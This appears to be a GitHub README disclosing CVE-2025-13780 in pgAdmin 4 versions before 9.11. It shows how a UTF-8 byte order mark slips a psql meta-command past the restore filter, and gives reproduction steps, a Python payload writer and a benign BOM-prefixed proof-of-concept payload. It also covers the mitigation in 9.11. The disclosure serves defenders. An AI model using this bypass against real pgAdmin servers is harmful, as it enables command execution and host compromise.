Skip to content

zeropwn/pgadmin4-9.10-CVE-2025-13780

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

2 Commits
 
 

Repository files navigation

pgadmin4 < 9.11 Meta-Command Filter Command Execution

Summary

The PLAIN restore meta-command filter introduced in pgAdmin as part of the fix for Issue 9320 does not detect meta-commands when a SQL file begins with a UTF-8 Byte Order Mark (EF BB BF) or other special sequences. The implemented filter uses the function has_meta_commands(), which scans raw bytes using a regular expression. The regex does not treat the bytes as ignorable, so meta-commands such as ! remain undetected. When pgAdmin invokes psql with --file, psql strips the bytes and executes the command. This can result in remote command execution during a restore operation.

This bypass affects the patch introduced in commit 1d397395f75320ca1d4ed5e9ca721c603415e836 (https://github.com/pgadmin-org/pgadmin4/commit/1d397395f75320ca1d4ed5e9ca721c603415e836)

Affected Versions

Confirmed affected:

  • pgAdmin 9.10 snapshot
    Commit: 63ee81202b65e1e8923eb1b917b49312a6fb7df2 (2025-11-13)

Likely affected:

  • Any version containing the patched has_meta_commands() from commit 1d397395f75320ca1d4ed5e9ca721c603415e836

Mitigation

  • 9.11+: plain restores run in psql restricted mode (\restrict), so meta-commands are now blocked by psql itself
  • 9.10: vulnerable to filter bypass.

Details

Location:

  • web/pgadmin/tools/restore/__init__.py
  • Function has_meta_commands()

Relevant code (from patched version):

def has_meta_commands(path, chunk_size=8 * 1024 * 1024):
    pattern = re.compile(br'(^|\n)[ \t]*\\')

    with open(path, "rb") as f:
        prev_tail = b""
        while chunk := f.read(chunk_size):
            data = prev_tail + chunk

            if pattern.search(data):
                return True

            prev_tail = data[-10:]

    return False

Root cause:

  1. SQL files are opened in binary mode.
  2. The regex only treats spaces and tabs as ignorable before a backslash.
  3. A UTF-8 BOM (EF BB BF) or similar sequence placed before the backslash prevents detection.
  4. pgAdmin incorrectly concludes the file contains no meta-commands.
  5. psql strips the BOM upon reading and executes the meta-command normally.

Expected behavior:

  • SQL files containing meta-commands should be blocked regardless of BOM.

Actual behavior:

  • BOM-prefixed meta-commands bypass the filter and allow execution.

Reproduction Steps

Step 1: Create a SQL file beginning with a BOM and a meta-command.

payload = b"\xef\xbb\xbf\\! echo HACKED_FROM_BOM > /tmp/bom_ran\nSELECT 1;\n"
with open("bypass_bom.sql", "wb") as f:
    f.write(payload)

Step 2: Verify BOM:

xxd bypass_bom.sql | head -1

Expected:

ef bb bf 5c 21 ...

Step 3: Place file into pgAdmin storage:

/var/lib/pgadmin/storage/<user>/bypass_bom.sql

Step 4: In pgAdmin: Restore -> Format: PLAIN -> select bypass_bom.sql -> Run

Step 5: Verify execution:

ls /tmp/bom_ran

Control file without BOM is correctly blocked.

Proof of Concept (PoC)

BOM-prefixed payload:

\xef\xbb\xbf\\! echo HACKED_FROM_BOM > /tmp/bom_ran
SELECT 1;

Control payload:

\\! echo SHOULD_BE_BLOCKED
SELECT 1;

Impact

  • Command execution through meta-commands.
  • Arbitrary file read/write.
  • Full pgAdmin host compromise.
  • Possible compromise of connected PostgreSQL servers.

About

Proof of concept for CVE-2025-13780

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published